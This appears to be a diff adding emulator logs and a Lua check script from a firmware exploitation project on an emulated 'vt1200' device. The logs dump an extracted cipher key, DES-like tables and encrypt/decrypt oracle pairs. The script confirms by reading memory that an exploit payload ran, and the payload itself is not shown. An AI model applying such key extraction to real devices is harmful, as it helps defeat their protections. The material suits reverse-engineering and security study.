ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
|
||||
ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817
|
||||
ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479
|
||||
ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F
|
||||
ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285
|
||||
ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104
|
||||
ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C
|
||||
ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C
|
||||
ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB
|
||||
ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24
|
||||
ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603
|
||||
ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD
|
||||
ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282
|
||||
ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E
|
||||
ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88
|
||||
ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3
|
||||
ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316
|
||||
ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4
|
||||
ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A
|
||||
ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8
|
||||
ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E
|
||||
ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E
|
||||
ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578
|
||||
ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF
|
||||
ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8
|
||||
ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B
|
||||
ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377
|
||||
ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3
|
||||
ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF
|
||||
ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A
|
||||
ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF
|
||||
ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0
|
||||
ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18
|
||||
ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04
|
||||
ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2
|
||||
ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9
|
||||
ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC
|
||||
ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1
|
||||
ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E
|
||||
ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635
|
||||
ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22
|
||||
ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F
|
||||
ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A
|
||||
ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2
|
||||
ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C
|
||||
ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359
|
||||
ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC
|
||||
ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77
|
||||
ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988
|
||||
ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290
|
||||
ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908
|
||||
ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9
|
||||
ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C
|
||||
ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598
|
||||
ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B
|
||||
ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299
|
||||
ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27
|
||||
ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547
|
||||
ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0
|
||||
ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE
|
||||
ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1
|
||||
ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528
|
||||
ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC
|
||||
ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF
|
||||
ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA
|
||||
ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75
|
||||
ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C
|
||||
ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6
|
||||
ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0
|
||||
ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA
|
||||
ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50
|
||||
Average speed: 319.27% (13 seconds)
|
||||
@@ -0,0 +1,91 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
ORACLE start frame=1000 p200=00000000 p400=00000000
|
||||
ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
|
||||
ORACLE KP=00910910 FP=0090C8D0
|
||||
ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
|
||||
ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
|
||||
ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
|
||||
ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
|
||||
ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
|
||||
ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
|
||||
ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817
|
||||
ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479
|
||||
ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F
|
||||
ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285
|
||||
ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104
|
||||
ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C
|
||||
ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C
|
||||
ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB
|
||||
ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24
|
||||
ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603
|
||||
ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD
|
||||
ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282
|
||||
ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E
|
||||
ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88
|
||||
ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3
|
||||
ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316
|
||||
ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4
|
||||
ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A
|
||||
ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8
|
||||
ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E
|
||||
ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E
|
||||
ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578
|
||||
ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF
|
||||
ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8
|
||||
ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B
|
||||
ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377
|
||||
ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3
|
||||
ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF
|
||||
ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A
|
||||
ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF
|
||||
ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0
|
||||
ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18
|
||||
ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04
|
||||
ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2
|
||||
ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9
|
||||
ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC
|
||||
ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1
|
||||
ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E
|
||||
ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635
|
||||
ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22
|
||||
ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F
|
||||
ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A
|
||||
ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2
|
||||
ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C
|
||||
ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359
|
||||
ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC
|
||||
ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77
|
||||
ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988
|
||||
ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290
|
||||
ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908
|
||||
ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9
|
||||
ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C
|
||||
ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598
|
||||
ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B
|
||||
ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299
|
||||
ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27
|
||||
ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547
|
||||
ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0
|
||||
ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE
|
||||
ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1
|
||||
ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528
|
||||
ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC
|
||||
ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF
|
||||
ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA
|
||||
ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75
|
||||
ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C
|
||||
ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6
|
||||
ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0
|
||||
ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA
|
||||
ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50
|
||||
Average speed: 317.77% (13 seconds)
|
||||
@@ -0,0 +1,27 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
ORACLE start frame=1000 p200=00000000 p400=00000000
|
||||
ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
|
||||
ORACLE KP=00910910 FP=0090C8D0
|
||||
ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
|
||||
ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
|
||||
ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
|
||||
ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
|
||||
ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
|
||||
ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
|
||||
ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
ORACLE_INV 00000000000000000000000000000000 B79E1C9EAFAAD86BB79E1C9EAFAAD86B
|
||||
ORACLE_INV FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6004AD61ED53D94A6004AD61ED53D94A
|
||||
ORACLE_INV 71471D94EC8993C744BCD8CFCB3CC5A6 116AE5361EB35BB13D08CB6441C493A6
|
||||
ORACLE_INV 6819A8E6CAA4E23B69BD418941DA1EDC 7353766B876F5653A65AC4BB28B28AF2
|
||||
ORACLE_INV 4ED83613C682494C19E2740EA94A4F39 A74684C5A20700468DB53D136516F709
|
||||
ORACLE_INV 4920C6AE776DB8BE592551547A3428E1 D9FBA4A9D16EA90F3E5C048947140663
|
||||
Average speed: 315.69% (13 seconds)
|
||||
@@ -0,0 +1,53 @@
|
||||
-- live_check.lua -- verification with NO breakpoints and no memory writes.
|
||||
--
|
||||
-- This script only reads RAM/VRAM once per frame. There is no bpset anywhere,
|
||||
-- so the exploit cannot be attributed to any debugger action: the only thing
|
||||
-- the emulator does is report what the firmware and the payload left in memory.
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
if not dbg then machine:exit(); return end
|
||||
dbg.visible_cpu = cpu
|
||||
|
||||
local MAGIC1 = 0x01810000
|
||||
local MAGIC2 = 0x01810010
|
||||
local COUNT = 0x01810020
|
||||
local VRAM = 0x04019040
|
||||
local f = 0
|
||||
local done_at = nil
|
||||
local last = nil
|
||||
|
||||
emu.register_frame_done(function()
|
||||
f = f + 1
|
||||
if f % 500 == 0 then
|
||||
print(string.format("CHECK frame %d MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
|
||||
f, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
|
||||
end
|
||||
if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
|
||||
done_at = f
|
||||
local filled, holes = 0, 0
|
||||
for r = 0, 63 do
|
||||
for c = 0, 15 do
|
||||
if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
|
||||
filled = filled + 1
|
||||
else
|
||||
holes = holes + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
print(string.format("CHECK payload-ran: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
|
||||
space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
|
||||
print(string.format("CHECK payload-ran: VRAM block %d/1024 words FFFF, %d holes",
|
||||
filled, holes))
|
||||
end
|
||||
if done_at and f >= done_at + 120 then
|
||||
print(string.format("CHECK exiting at frame %d (payload seen at %d)", f, done_at))
|
||||
machine:exit()
|
||||
